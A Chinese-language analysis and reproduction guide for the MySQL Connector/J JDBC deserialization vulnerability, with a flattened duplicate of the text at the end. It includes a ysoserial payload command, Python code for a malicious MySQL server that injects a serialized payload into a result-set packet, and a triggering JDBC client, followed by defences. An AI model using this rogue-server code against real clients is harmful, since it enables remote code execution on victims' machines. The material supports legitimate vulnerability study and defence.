小白看得懂的MySQL JDBC 反序列化漏洞分析
字数 1570 2025-08-20 18:17:31

MySQL JDBC 反序列化漏洞深入分析与复现指南

漏洞概述

MySQL JDBC 反序列化漏洞是BlackHat Europe 2019会议上披露的一个安全漏洞,影响MySQL Connector/J(JDBC驱动)。该漏洞允许攻击者通过精心构造的恶意MySQL服务器响应,在客户端触发Java反序列化操作,从而导致远程代码执行(RCE)。

漏洞原理分析

核心漏洞点

漏洞存在于MySQL JDBC驱动的以下关键组件中:

  1. ResultSetImpl.getObject() 方法
  2. ServerStatusDiffInterceptor 拦截器
  3. autoDeserialize 配置参数

漏洞触发链

  1. 入口点:当JDBC连接配置了queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor时,执行查询会调用拦截器
  2. 拦截器处理:拦截器会执行SHOW SESSION STATUS查询并对结果进行处理
  3. 结果处理:处理结果时会调用resultSetToMap方法,最终调用ResultSetImpl.getObject()
  4. 反序列化检查:在getObject()方法中,如果autoDeserialize=true且数据符合Java序列化格式(前两个字节为0xACED),则会进行反序列化操作

关键代码分析

// com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
public Object getObject(int columnIndex) throws SQLException {
    Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
    switch (field.getMysqlType()) {
        case BIT:
            if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);
                // 关键点:检查autoDeserialize配置
                if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
                    Object obj = data;
                    if ((data != null) && (data.length >= 2)) {
                        // 检查Java序列化魔术字(0xACED)
                        if ((data[0] == -84) && (data[1] == -19)) {
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject(); // 反序列化点
                                objIn.close();
                                bytesIn.close();
                            } catch (Exception e) {
                                // 异常处理
                            }
                        }
                    }
                    return obj;
                }
                return data;
            }
            // 其他类型处理...
    }
}

漏洞复现环境

所需工具

  • MySQL Connector/J 8.0.12
  • IntelliJ IDEA 2020.1+(或其他Java IDE)
  • Python 3(用于恶意服务器)
  • ysoserial(生成反序列化payload)
  • Wireshark + Npcap(抓包分析)
  • Java开发环境(JDK 8+)

环境配置

  1. 创建Java测试项目,添加MySQL Connector/J依赖
  2. 准备ysoserial工具生成payload
  3. 配置Python恶意服务器环境

漏洞复现步骤

1. 生成反序列化Payload

使用ysoserial生成计算器payload:

java -jar ysoserial.jar CommonsCollections7 "calc" > payload.bin

2. 启动恶意MySQL服务器

使用Python编写恶意服务器,关键部分:

import socket
import binascii
import os

# MySQL协议握手包
greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"

# MySQL OK响应包
response_ok_data = "0700000200000002000000"

def get_payload_content():
    # 读取ysoserial生成的payload
    with open('payload.bin', 'rb') as f:
        return binascii.b2a_hex(f.read()).decode('utf-8')

def handle_session_status_query(conn):
    # 构造恶意响应包
    mysql_data = '0100000102'
    mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
    mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
    
    payload_content = get_payload_content()
    payload_length = hex(len(payload_content)//2)[2:].zfill(4)
    payload_length_hex = payload_length[2:4] + payload_length[0:2]
    
    data_len = hex(len(payload_content)//2 + 4)[2:].zfill(6)
    data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
    
    mysql_data += data_len_hex + '04' + 'fbfc' + payload_length_hex
    mysql_data += payload_content
    mysql_data += '07000005fe000022000100'
    
    conn.send(binascii.a2b_hex(mysql_data))

3. 客户端触发代码

public class JdbcClient {
    public static void main(String[] args) throws Exception {
        String driver = "com.mysql.cj.jdbc.Driver";
        // 关键配置:queryInterceptors和autoDeserialize
        String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?" +
                "characterEncoding=utf8&useSSL=false&" +
                "queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&" +
                "autoDeserialize=true";
        
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

4. 完整复现流程

  1. 启动Python恶意MySQL服务器(监听3309端口)
  2. 运行JdbcClient代码
  3. 观察客户端是否执行了计算器程序(或其他payload)

MySQL协议关键点分析

结果集响应包结构

恶意服务器需要构造合法的MySQL结果集响应包,关键结构如下:

  1. 列数量包

    • 长度(3字节) + 序号(1字节) + 列数量(1字节)
    • 示例:01 00 00 01 02(表示2列)
  2. 列定义包

    # 列定义示例
    '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
    # 分解:
    # 1a0000 - 长度
    # 02 - 序号
    # 03646566 - "def"
    # 00 - schema
    # 0163 - table (1字节,"c")
    # 0163 - org_table
    # 0163 - name
    # 0163 - org_name
    # 0c - filler
    # 3f00 - 字符集(binary)
    # ffff0000 - 最大长度
    # fc - 列类型(blob)
    # 9000 - flags
    # 00 - decimals
    # 0000 - filler_2
    
  3. 行数据包

    • 包含序列化payload
    • 需要正确计算长度和序号

防御措施

  1. 升级MySQL Connector/J

    • 使用最新版本的MySQL JDBC驱动
  2. 安全配置

    • 避免使用autoDeserialize=true
    • 避免使用不受信任的queryInterceptors
  3. 网络防护

    • 限制JDBC连接只能访问受信任的MySQL服务器
    • 使用SSL/TLS加密JDBC连接
  4. 运行时防护

    • 使用Java安全管理器限制反序列化操作
    • 使用反序列化过滤器(JEP 290)

总结

MySQL JDBC反序列化漏洞是一个典型的"协议+反序列化"组合漏洞,其核心在于:

  1. MySQL协议允许服务器返回任意二进制数据
  2. JDBC驱动在特定配置下会反序列化这些数据
  3. 通过精心构造的响应包可以触发反序列化操作

理解该漏洞需要对MySQL协议、JDBC驱动实现和Java反序列化机制有深入认识。防御此类漏洞的关键在于严格控制反序列化操作和网络边界。

MySQL JDBC 反序列化漏洞深入分析与复现指南 漏洞概述 MySQL JDBC 反序列化漏洞是BlackHat Europe 2019会议上披露的一个安全漏洞,影响MySQL Connector/J(JDBC驱动)。该漏洞允许攻击者通过精心构造的恶意MySQL服务器响应,在客户端触发Java反序列化操作,从而导致远程代码执行(RCE)。 漏洞原理分析 核心漏洞点 漏洞存在于MySQL JDBC驱动的以下关键组件中: ResultSetImpl.getObject() 方法 ServerStatusDiffInterceptor 拦截器 autoDeserialize 配置参数 漏洞触发链 入口点 :当JDBC连接配置了 queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 时,执行查询会调用拦截器 拦截器处理 :拦截器会执行 SHOW SESSION STATUS 查询并对结果进行处理 结果处理 :处理结果时会调用 resultSetToMap 方法,最终调用 ResultSetImpl.getObject() 反序列化检查 :在 getObject() 方法中,如果 autoDeserialize=true 且数据符合Java序列化格式(前两个字节为 0xACED ),则会进行反序列化操作 关键代码分析 漏洞复现环境 所需工具 MySQL Connector/J 8.0.12 IntelliJ IDEA 2020.1+(或其他Java IDE) Python 3(用于恶意服务器) ysoserial(生成反序列化payload) Wireshark + Npcap(抓包分析) Java开发环境(JDK 8+) 环境配置 创建Java测试项目,添加MySQL Connector/J依赖 准备ysoserial工具生成payload 配置Python恶意服务器环境 漏洞复现步骤 1. 生成反序列化Payload 使用ysoserial生成计算器payload: 2. 启动恶意MySQL服务器 使用Python编写恶意服务器,关键部分: 3. 客户端触发代码 4. 完整复现流程 启动Python恶意MySQL服务器(监听3309端口) 运行JdbcClient代码 观察客户端是否执行了计算器程序(或其他payload) MySQL协议关键点分析 结果集响应包结构 恶意服务器需要构造合法的MySQL结果集响应包,关键结构如下: 列数量包 : 长度(3字节) + 序号(1字节) + 列数量(1字节) 示例: 01 00 00 01 02 (表示2列) 列定义包 : 行数据包 : 包含序列化payload 需要正确计算长度和序号 防御措施 升级MySQL Connector/J : 使用最新版本的MySQL JDBC驱动 安全配置 : 避免使用 autoDeserialize=true 避免使用不受信任的queryInterceptors 网络防护 : 限制JDBC连接只能访问受信任的MySQL服务器 使用SSL/TLS加密JDBC连接 运行时防护 : 使用Java安全管理器限制反序列化操作 使用反序列化过滤器(JEP 290) 总结 MySQL JDBC反序列化漏洞是一个典型的"协议+反序列化"组合漏洞,其核心在于: MySQL协议允许服务器返回任意二进制数据 JDBC驱动在特定配置下会反序列化这些数据 通过精心构造的响应包可以触发反序列化操作 理解该漏洞需要对MySQL协议、JDBC驱动实现和Java反序列化机制有深入认识。防御此类漏洞的关键在于严格控制反序列化操作和网络边界。